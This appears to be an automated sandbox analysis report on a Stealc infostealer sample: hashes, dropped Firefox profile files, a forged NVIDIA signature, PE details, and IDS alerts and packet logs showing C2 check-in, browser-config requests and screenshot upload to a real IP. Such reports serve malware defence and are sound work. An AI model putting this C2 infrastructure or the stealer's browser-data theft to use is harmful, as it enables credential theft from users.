SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.97539351396482
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	210'472 bytes
MD5:	328e2076801e0d783636eab1b2664845
SHA1:	e0522bde54b718ff684b7109c940680305653313
SHA256:	aa5fda8f2d38bc9f1f856b13235ba827f26d580e284675c89381197f283e1e77
SHA512:	8b4b63ce13fee3b96240689b9c116e8c1115fd96ad8232dda528562d8c86c6066913e3288ad725244f94d4fa53efe10d9ddaf05f8161a4eb9b16645ad54a5a3f
SSDEEP:	6144:wpOoOBonHSd6yRNQtqRX1ILhkfyhtPnEO:wYBCq60GtuXWqfaEO
TLSH:	0624124A0BB42975DEBF88F250A133B32E3177585AC5C6BB250A114B8BC7B253D725F1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.f............................^%... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x43255e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66E07BE4 [Tue Sep 10 17:03:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x32510	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x5d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x31000	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x36000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x323d8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x30564	0x30600	02e6d950eceeaedecb3da437265bc1c4	False	0.991687863372093	data	7.992062661710074	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x5d8	0x600	b1a8c2c35c9b92ec10e299af0a45eb6d	False	0.4381510416666667	data	4.1473038615233975	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x36000	0xc	0x200	cc12ef0f3c0fbac92b8e76a40918fa2f	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x340a0	0x344	data			0.4449760765550239
RT_MANIFEST	0x343e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-10T19:36:04.280900+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:04.414859+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:04.421926+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.152.113.10	80	192.168.2.5	49707	TCP
2024-09-10T19:36:04.550137+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:04.557703+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.152.113.10	80	192.168.2.5	49707	TCP
2024-09-10T19:36:04.887976+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:05.017986+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:07.281139+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:07.921964+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:08.439506+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:08.893616+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:10.502378+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:10.872481+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:11.598895+0200	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.5	49707	45.152.113.10	80	TCP
2024-09-10T19:36:13.720716+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49708	198.54.120.231	443	TCP
2024-09-10T19:36:13.720716+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49708	198.54.120.231	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 10, 2024 19:36:03.594299078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:03.599136114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:03.599581003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:03.600116014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:03.604931116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.118662119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.118720055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.123908997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.128818989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.280838966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.280900002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.282550097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.290390968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.414767027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.414793015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.414859056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.416440010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.416440010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.421926022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550074100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550137043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.550175905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550185919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550195932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550204992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550211906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.550221920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550230980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.550246954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.550286055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.552128077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.557703018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.684254885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.684310913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.703094959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.703130007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.708030939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.708195925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.708204985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.708251953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.887805939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:04.887975931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.888926029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:04.894480944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.017879009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.017893076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.017904043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.017915010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.017986059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018009901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018021107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018049002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018174887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018187046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018197060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018220901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018243074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018630028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018675089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018690109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018701077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018712044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.018733025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.018755913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.019275904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.019288063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.019296885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.019306898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.019320965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.019347906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.054234982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.054249048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.054260015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.054287910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.054300070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.054331064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.054351091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.103909969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.103923082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.103931904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104023933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.104156017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104166031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104175091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104245901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.104412079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104420900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104430914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104496002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.104728937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104738951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104748011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104777098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.104793072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.104803085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104813099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104820967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.104840040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.104861021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.105631113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.105640888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.105650902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.105660915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.105674028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.105681896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.105691910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.105709076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.105724096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.106503010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.106513023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.106523037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.106551886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.106561899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.106570959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.106583118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.106590033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.106601000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.106627941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.107297897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.107307911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.107321978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.107331991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.107352018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.107373953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.140506983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140520096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140530109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140542030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140551090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140563011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140610933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140625954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140634060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.140646935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140657902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140667915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.140701056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.140733957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190274000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190332890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190344095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190355062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190363884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190378904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190388918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190408945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190438032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190485001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190495968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190505981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190521955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190529108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190546036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190567970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190736055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190746069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190757036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190788031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190809965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190855026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190865040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190876007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.190907001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.190927982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191283941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191293955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191304922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191327095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191349030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191370964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191380978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191406012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191418886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191423893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191432953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191441059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191478968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191478968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:05.191952944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191963911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.191975117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192018032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:05.192028999 CEST	80	49707	45.152.113.10	192.168.2.5
